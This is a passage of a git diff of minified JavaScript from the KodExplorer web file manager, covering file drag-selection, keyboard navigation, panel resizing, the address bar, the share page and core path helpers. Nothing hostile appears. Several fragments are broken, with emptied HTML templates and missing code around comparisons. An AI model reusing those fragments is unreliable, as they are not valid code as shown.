        ").appendTo("body"),v=$(Config.SelectClass).filter("[data-path!='']");var i=v.clone();(v.length>=S||$.browser.msie)&&(i=r.clone()),i.appendTo(".file-draging"),i.each(function(e){var t=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']"),a=t.offset();$(this).css({left:a.left,top:a.top,width:t.width()}),$(this).data({"data-left":a.left,"data-top":a.top,"data-animateTime":200+e*N,"data-sizeAdd":L*e}),$(this).attr("data-path")==r.attr("data-path")&&$(this).addClass("handle_target"),1==i.length&&($(this).data({"data-animateTime":0}),T=0)}),v.addClass("item-file-draging");var a=setTimeout(function(){$(".file-draging-box").data("animate","finished");var e=$(".draggable-dragging");i.each(function(){var t=$(this),i=$(this).data("data-sizeAdd"),a=$(this).data("data-animateTime");$(this).data("status","ready"),$(this).animate({opacity:1},{duration:a,easing:"swing",progress:function(a,n){var o=t.offset(),s=e.offset(),r=(s.left+i-o.left)*n,l=(s.top+i+C-o.top)*n; +t.css({left:o.left+r,top:o.top+l})},complete:function(){t.data("status","finished")}})})},T);$(".file-draging-box").data("dragDelay",a),$(".file-draging-box").data("animate","ready")},E=function(e,t){return"finished"!=$(".file-draging-box").data("animate")?($(".file-draging .file").each(function(){$(this).css({left:$(this).data("data-left")+e,top:$(this).data("data-top")+t})}),void 0):($(".file-draging .file").each(function(){if("finished"==$(this).data("status")){var e=$(this).data("data-sizeAdd"),t=$(".draggable-dragging").offset();$(this).css({left:t.left+e,top:t.top+e+C})}}),void 0)},z=function(e){var t=$(".file-draging .file").length;clearTimeout($(".file-draging-box").data("dragDelay")),$(".file-draging .file").each(function(t){var i=t*N,a=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']");e?$(this).stop().animate({left:$(this).data("data-left"),top:$(this).data("data-top")},250+i,function(){v.removeClass("item-file-draging")}).animate({opacity:0},150,function(){$(this).remove()}):(a.stop().animate({opacity:1},100),$(this).stop().animate({opacity:0},200+i,function(){$(this).remove()}))});var i=setTimeout(function(){$(".file-draging-box").remove()},400+N*t);$(".file-draging-box").data("removeDelay",i)}},u=function(){var i=null,a=null,n=null,o=0,s=0,r=0,l=0,c="",d="bodymain";"desktop"==Config.pageApp&&(d="fileContiner");var p=$("."+d);p.die("mousedown").live("mousedown",function(e){if(!($(e.target).hasClass(d)&&20>$(document).width()-e.pageX)){if(r=$(".fileContiner").outerHeight(),l=p.outerHeight(),ui.isEdit())return!0;if(1!=e.which||t)return!0;u(e),this.setCapture&&this.setCapture(),$(document).unbind("mousemove").mousemove(function(e){f(e)}),$(document).one("mouseup",function(e){clearTimeout(c),c=!1,m(e),this.releaseCapture&&this.releaseCapture()})}});var u=function(t){s=p.offset().left-p.scrollLeft(),o=p.offset().top-p.scrollTop(),"list_split"==G.user_config.list_type&&(o+=$(t.target).parents(".split_box").scrollTop()),$(t.target).parent().hasClass(Config.FileBoxClassName)||$(t.target).parent().parent().hasClass(Config.FileBoxClassName)||$(t.target).hasClass("fix")||(rightMenu.hidden(),t.ctrlKey||t.metaKey||t.shiftKey||ui.fileLight.clear(),$(t.target).hasClass("ico")||(i=t.pageX-s,a=t.pageY-o,c=setTimeout(function(){e=!0,0==$("#selContainer").length&&$('
        ').appendTo(Config.FileBoxSelector),n=$("#selContainer")},100)))},f=function(t){if(!e)return!0;var o=t.pageX-p.offset().left+p.scrollLeft(),s=t.pageY-p.offset().top+p.scrollTop(),c=Math.abs(o-i),d=Math.abs(s-a);s>a&&d>r-a&&r>l&&(d=r-a),n.css({left:Math.min(o,i),top:Math.min(s,a),width:c,height:d}),1e3>ui.fileLight.fileListAll().length&&h()},h=function(){for(var e=n.offset().left-p.offset().left+p.scrollLeft(),t=n.offset().top-p.offset().top+p.scrollTop(),i=e+n.width(),a=t+n.height(),o=ui.fileLight.fileListAll(),s=0;o.length>s;s++){var r=o[s],l=$(o[s]),c=l.parent().scrollTop(),d=r.offsetLeft,u=r.offsetTop-c,f=d+l.width(),h=u+l.height();if("list_split"==G.user_config.list_type&&(d+=l.parents(".split_box")[0].offsetLeft,f=d+l.width()),i-e+f-d>Math.abs(e+i-(d+f))&&a-t+h-u>Math.abs(t+a-(u+h))){if(!l.hasClass("selectDragTemp")){if(l.hasClass("selectToggleClass"))continue;if(l.hasClass(Config.SelectClassName)){l.removeClass(Config.SelectClassName).addClass("selectToggleClass"),ui.fileLight.resumeMenu(l);continue}l.addClass("selectDragTemp")}}else l.removeClass("selectDragTemp"),l.hasClass("selectToggleClass")&&l.addClass(Config.SelectClassName).removeClass("selectToggleClass")}},m=function(){return e?(h(),n.remove(),$(".selectDragTemp").addClass(Config.SelectClassName).removeClass("selectDragTemp"),$(".selectToggleClass").removeClass("selectToggleClass"),ui.fileLight.select(),e=!1,i=null,a=null,void 0):!1}},f=function(e,t){var i=$(".fileList_list_split .split_box.split_select");if(e)i=e.parents(".split_box");else if(0!=ui.fileLight.fileListSelect().length){var a=ui.fileLight.fileListSelect().last();i=a.parents(".split_box")}return i.find(t)},h={fileListAll:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListAll():f(e,".file")},fileListSelect:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListSelect():f(e,".file.select")}},m=function(e){var t=h.fileListAll(),i=h.fileListSelect(),a=t.length-1,n=0,o=ui.getColfileNumberDesktop(),s=t.index(i.first()),r=t.index(i.last());switch(e){case"pageup":case"up":n=0>=s||0==s%o?s:s-1;break;case"left":n=0>=s-o?0:s-o;break;case"pagedown":case"down":n=r>=a||0==(r+1)%o?r:r+1;break;case"right":n=r+o>=a?a:r+o;break;default:}return t.eq(n)},_=function(e){if("desktop"==Config.pageApp)return m(e);var t=h.fileListAll(),i=h.fileListSelect(),a=t.length-1,n=0,o=ui.getRowfileNumber(),s=ui.getPagefileNumber(),r=t.index(i.first()),l=t.index(i.last());switch(e){case"up":n=0>=r-o?0:r-o,n=v(n,!1);break;case"left":n=0>=r?0:r-1;break;case"down":n=l+o>=a?a:l+o,n=v(n,!0);break;case"right":n=l>=a?l:l+1;break;case"pageup":n=0>=r-s?0:r-s,n=v(n,!1);break;case"pagedown":n=l+s>=a?a:l+s,n=v(n,!0);break;default:}return t.eq(n)},v=function(e,t){for(var i=h.fileListAll(),a=i.eq(e),n=i.length;0!=a.parents(".hidden").length;){if(t?e++:e--,0>=e||e>=n)return e;a=i.eq(e)}return e},g=function(e){var t,i=h.fileListAll(),a=h.fileListSelect(),n="",o=!1;switch(e.indexOf("shift+")>=0&&(o=!0,e=e.replace("shift+","")),e){case"home":n=a.last(),t=i.first();break;case"end":n=a.first(),t=i.last();break;case"left":n=a.last(),t=_(e);break;case"up":n=a.last(),t=_(e);break;case"right":n=a.first(),t=_(e);break;case"down":n=a.first(),t=_(e);break;case"pageup":n=a.last(),t=_(e);break;case"pagedown":n=a.first(),t=_(e);break;case"all":t=i;break;default:}if(!y(e)){if(o&&""!=n){var s=i.index(n),r=i.index(t);if(s>r){var l=s;s=r,r=l}return x(s,r,i),void 0}b(t)}},b=function(e){0!=e.length&&(ui.fileLight.clear(),e.addClass(Config.SelectClassName),ui.fileLight.select(),ui.fileLight.setInView(),"list_split"==G.user_config.list_type&&1==e.length&&r($(ui.fileLight.fileListSelect()[0])))},y=function(e){var t=$(ui.fileLight.fileListSelect()[0]);if("icon"==G.user_config.list_type)return!1;switch(e){case"left":if("list"==G.user_config.list_type)if(1==t.find(".children_more_cert.cert_open").length)t.find(".children_more_cert").removeClass("cert_open"),t.next().addClass("hidden");else{var i=t.parent(".children_list").prev(".file");b(i)}else if("list_split"==G.user_config.list_type){var i=t.parents(".split_box").prev().find(".select_split_parent");b(i)}break;case"right":if("list"==G.user_config.list_type)1==t.find(".children_more_cert").length&&(ui.fileContent.pathChildrenTree(t),t.find(".children_more_cert").addClass("cert_open"),t.next().removeClass("hidden"));else if("list_split"==G.user_config.list_type){var i=t.parents(".split_box").next().find(".file:eq(0)");b(i)}break;default:return!1}return!0},x=function(e,t,i){if("desktop"==Config.pageApp)return k(e,t,i);ui.fileLight.clear();for(var a=e;t>=a;a++)$(i[a]).addClass(Config.SelectClassName);ui.fileLight.select()},k=function(e,t,i){var a=ui.getColfileNumberDesktop(),n=Math.ceil(h.fileListAll().length/a),e={row:e%a,col:parseInt(e/a)},t={row:t%a,col:parseInt(t/a)};if(t.row=r;r++){var l=0,c=n;r==e.row&&(l=e.col),r==t.row&&(c=t.col);for(var d=l;c>=d;d++)s(r,d)}ui.fileLight.select()};return{init:function(){a(),l(),p(),u()},isDraging:function(){return t},selectSplit:c,selectPos:g}}),define("app/src/explorer/fileListResize",[],function(){var e={filename:250,filetype:80,filesize:80,filetime:150,explorer_left_tree_width:199,editor_left_tree_width:199},t={filename:150,filetype:60,filesize:60,filetime:120,explorer_left_tree_width:2,editor_left_tree_width:2},i=e,a=function(){if(LocalData.get("resize_config"))i=jsonDecode(LocalData.get("resize_config"));else{G.user_config.resize_config!==void 0&&(i=jsonDecode(htmlDecode(G.user_config.resize_config)));var a=jsonEncode(i);LocalData.set("resize_config",a)}$.each(e,function(a){(!i[a]||i[a]=i&&(i=t[e]),n+=i,a+=".fileList_list .file ."+e+",#main_title ."+e+"{width:"+i+"px;}")}),a+=".fileList_list .file{width:"+(n+50)+"px;}",$.setStyle(a,"header_resize_width")}},s=function(a,o,s){if(!$(".frame-left").is(":hidden")){var r=Config.pageApp+"_left_tree_width",l=$.extend(!0,{},i);l[r]+=a,l[r]<=t[r]&&(l[r]=t[r]);var c=l[r],d=$(".frame-left"),p=$(".frame-resize"),u=$(".frame-right"),f=e[r];if(c>f-8&&f+8>c&&(c=f+1),s){var h=400;d.animate({width:c},h),p.animate({left:c-5},h),u.animate({left:c},h)}else d.css("width",c),p.css("left",c-5),u.css("left",c);ui.setStyle!==void 0&&ui.setStyle(),o&&(i=l,n())}},r=function(){return void 0!=$.getUrlParam("type")?!0:!1},l=function(e,a,s){var r=$.extend(!0,{},i);r[e]+=a,o(r),s&&(i=r,$.each(i,function(e,a){t[e]>=a&&(i[e]=t[e])}),n())},c=function(){$("#main_title").hasClass("bind_init")||(o(i),$("#main_title").addClass("bind_init"),$.each(e,function(e){$("#main_title ."+e+"_resize").drag({start:function(){},move:function(t){l(e,t,!1)},end:function(t){l(e,t,!0)}})}))},d=function(){var e=$(".frame-resize");e.drag({start:function(){e.addClass("active"),$(".resizeMask").css("display","block")},move:function(e){s(e,!1,!1)},end:function(t){s(t,!0,!1),e.removeClass("active"),$(".resizeMask").css("display","none")}})},p=function(){var e=G.user_config.file_icon_size;e||(e="75"),h(e,!1),u(e)},u=function(e){$(".set-file-icon-size .file-icon-size").removeClass("selected");for(var t=[["40","box-size-smallx"],["60","box-size-small"],["80","box-size-default"],["150","box-size-big"],["220","box-size-bigx"]],i=10,a="",n=0;t.length>n;n++){var o=parseInt(t[n][0]);if(e>=o-i&&o+i>=e){a=t[n][1];break}}""!=a&&$("."+a).addClass("selected")},f=function(e){G.user_config.file_icon_size=e,u(e),$.get("index.php?setting/set&k=file_icon_size&v="+e)},h=function(e,t){var i=105,a=30,n=250,o=(e-a)*i/(n-a),s=20,r=10,l=parseInt(e),c=l+2*s-r+5,d=l-r,p=l-r,u=.4*l,h=l+3*s-r,m=".fileList_icon div.file{height:"+c+"px;width:"+l+"px;}";"desktop"==Config.pageApp&&(c-=5,m="div.fileList_icon div.file{height:"+c+"px;width:"+l+"px;}"),$.browser.mozilla&&(p-=4);var _="div.fileList_icon div.file{max-height:"+h+"px;}"+m+" .fileList_icon .meta_info{height:"+u+"px;width:"+u+"px; margin-right:"+.16*u+"px;margin-top:-"+1.1*u+"px;} .fileList_icon div.file .filename{width:"+l+"px;} .fileList_icon div.file .filename #pathRenameTextarea, .fileList_icon div.file .filename .newfile{width:"+l+"px;} .fileList_icon div.file .ico{padding-left:"+r/2+"px;height:"+p+"px;width:"+d+"px} .fileList_icon div.file .ico.picasaImage{width:"+d+"px;padding-left:"+r/2+"px;overflow:hidden;}";$.setStyle(_,"file_icon_resize"),$(".slider_handle").css("top",o),t&&f(e)},m=function(){var e,t=$(".slider_handle");$(".set_icon_size_slider").bind("click",function(e){return stopPP(e),!1});var i=function(t){var i=0,a=105,n=30,o=250,s=e+t;s=i>s?i:s,s=s>a?a:s;var r=parseInt(s/a*(o-n)+n);return h(r,!1),r};t.drag({start:function(){t.addClass("active"),e=parseInt(t.css("top"))},move:function(e,t){i(t)},end:function(e,a){t.removeClass("active"),f(i(a),!0)}});var a=$(".slider_bg");$(".slider_bg").unbind("click").bind("click",function(t){var n=t.clientY-a.offset().top;e=0,i(n)})},_=function(){var e=function(e,t){var i=e.parent(),a=$(".split_box").index(i),n=parseInt(i.data("before_width"))+t;if(!(150>n)){$($(".split_line").get(a)).css("width",n),i.css("width",n),$(".split_box:gt("+a+")").each(function(){$(this).hasClass("is_drag_split")||$(this).css("left",parseInt($(this).data("before_left"))+t+"px")});var o=[];$(".split_box").each(function(){o.push({left:$(this).css("left"),width:$(this).width()})}),LocalData.set("split_box_size",jsonEncode(o))}};$(".bodymain .fileList_list_split .split_drag").drag({start:function(e,t){var i=t.parent();i.addClass("is_drag_split").data("before_width",i.width()),$(".split_box,.split_line").each(function(){$(this).data("before_left",$(this).css("left"))})},move:function(t,i,a,n){e(n,t)},end:function(e,t,i,a){a.parent().removeClass("is_drag_split")}},!0),$(".file.select_split_parent").removeClass("select_split_parent"),$(".split_box").each(function(){$('.file[data-path="'+$(this).attr("data-path")+'"]').addClass("select_split_parent")}),v()},v=function(){var e=jsonDecode(LocalData.get("split_box_size")),t=0;e||(e=[]);var i=function(i,a){var n=e[a];n||(n={width:250,left:t}),t+=n.width+1,i.css({width:n.width+"px",left:n.left})};t=0,$(".split_box").each(function(e){i($(this),e)}),t=0,$(".split_line").each(function(e){i($(this),e)}),$(".bodymain").scrollLeft(1e5)};return{init:function(){a(),r()&&(i=e),o(i),d(),s(0,!1,!0),m()},initFileSize:p,bindSplitResize:_,bindHeaderResize:c,setFileIconSize:h}}),define("app/src/explorer/headerAddress",[],function(){var e=function(){$("#yarnball li a").die("click").live("click",function(e){var t=$(this).attr("data-path");n(t),stopPP(e)}),$("#yarnball").die("click").live("click",function(){return $("#yarnball").css("display","none"),$("#yarnball_input").css("display","block"),$("#yarnball_input input").focus(),!0});var e=$("#yarnball_input input");e.die("blur").live("blur",function(){n(e.val())}).keyEnter(function(){n(e.val())}),$(".header-right input").keyEnter(function(){core.search($(".header-right input").val(),G.this_path)}),$(".header-right input").bind("keyup focus",function(){ui.path.setSearchByStr($(this).val())}),$(".header-content a,.header-content button").click(function(){var e=$(this).attr("id");switch(e){case"history_back":ui.path.history.back();break;case"history_next":ui.path.history.next();break;case"refresh":ui.f5(!0,!0),ui.tree.init();break;case"home":ui.path.list(G.myhome);break;case"fav":ui.path.pathOperate.fav({path:G.this_path,type:"folder",name:$("ul.yarnball li:last .title_name").html()});break;case"goto_father":o();break;case"setting":core.setting();break;case"search":core.search($(".header-right input").val(),G.this_path);break;default:}return!0})},t=function(e){var t=G.this_path;a(G.this_path),$("#yarnball_input").css("display","none"),$("#yarnball").css("display","block");var n=function(e){var t='
      • {$3}
      • \n',i='
      • {$3}
      • \n';e=e.replace(/\/+/g,"/");var a=e.split("/");""==a[a.length-1]&&a.pop();var n=a[0]+"/",o=t.replace(/@1@/g,n),s=a[0],r="";if(G.json_data.info&&G.json_data.info.path_type&&""!=a[0]){var l=core.getPathIcon(G.json_data.info,G.json_data.info.name);r=''+core.iconSmall(l.icon)+"",s=l.name}o=o.replace("{$2}",a.length),o=o.replace("{$3}",r+''+htmlEncode(s)+"");for(var c=o,d=1,p=a.length-1;a.length>d;d++,p--)n+=htmlEncode(a[d])+"/",o=i.replace(/@1@/g,n),o=o.replace("{$2}",p),o=o.replace("{$3}",''+htmlEncode(a[d])+""),c+=o;return'
          '+c+"
        "};void 0==e&&$("#yarnball").html(n(t)),i()},i=function(){$(".yarnball").stop(!0,!0);var e=$("#yarnball").innerWidth(),t=0;$("#yarnball li a").each(function(){t+=$(this).outerWidth()+parseInt($(this).css("margin-left"))+5});var i=e-t;0>=i?$(".yarnball").css("width",t+"px").css("left",i+"px"):$(".yarnball").css({left:"0px",width:e+"px"})},a=function(e){var t=$("#yarnball_input .path");if(void 0==e){var i=t.val();return i=rtrim(core.pathClear(i))+"/"}t.val(e)},n=function(e,i){ui.path.list(e),t(i)},o=function(){var e=a();if("/"==e||-1==e.indexOf("/"))return Tips.tips(LNG.path_is_root_tips,"warning"),void 0;var i=core.pathFather(e);ui.path.list(i),t()};return{init:e,addressSet:t,resetWidth:i,gotoFather:o}}),define("app/share_common/topbar",[],function(){var e="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid,t="index.php?share/fileProxy&user="+G.user+"&sid="+G.sid;"1"==G.param_rewrite&&(e=e.replace("index.php?","index.php/"));var i=function(){"file"!=G.share_info.type&&G.path!==void 0?(t+="&path="+G.path,e+="&path="+G.path,$(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()):($(".btn.button_my_share").show(),$(".share_info_user .btn-group").hide()),"file"==G.share_info.type&&($(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()),"1"==G.share_info.not_download&&(e="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),$(".share_info_user").removeClass("hidden"),$(".btn_download").attr("href",e);var i=date("Y/m/d H:i:s",G.share_info.mtime);$(".topbar .time").html(i),"file"==G.share_info.type&&$(".topbar .size").html(G.share_info.size),$(".topbar .info").html(LNG.share_view_num+G.share_info.num_view+" "+LNG.share_download_num+G.share_info.num_download),$("#button_share").die("click").live("click",function(){share()})};return{init:i}}); \ No newline at end of file diff --git a/static/js/app/src/share_index/main.js b/static/js/app/src/share_index/main.js index 9066648..33cced6 100755 --- a/static/js/app/src/share_index/main.js +++ b/static/js/app/src/share_index/main.js @@ -1,3 +1,3 @@ -/*! power by kodexplorer ver3.35(2016-12-23) [build 1482476909174] */ -define("app/src/share_index/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","../../common/core","../../share_common/topbar","./fileShow","../../common/myPlayer"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),topbar=e("../../share_common/topbar"),fileShow=e("./fileShow"),window.require=e,$(document).ready(function(){if(core.init(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),"undefined"!=typeof G){fileShow.init();var e=function(){var e=window.location.href+"&password="+$(".form-control").val();$.get(e,function(e){1==e.code?window.location.reload():Tips.tips(e)})};$(".share_login").click(e),$(".form-control").keyEnter(e)}})}),define("app/common/core",[],function(require,exports){search_box_tpl=require("./tpl/search.html"),search_list_tpl=require("./tpl/search_list.html"),upload_tpl=require("./tpl/upload.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1)),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]()},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return $.inArray(t,i)&&(a=!0),a},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i='
        '+t+"
        ",a=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==t.substr(0,17)?(setTimeout(function(){window.location.reload()},500),void 0):(a?a.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,t){var i="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(i="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(LNG.success),"function"==typeof t&&t(e.data.content)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:610})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return 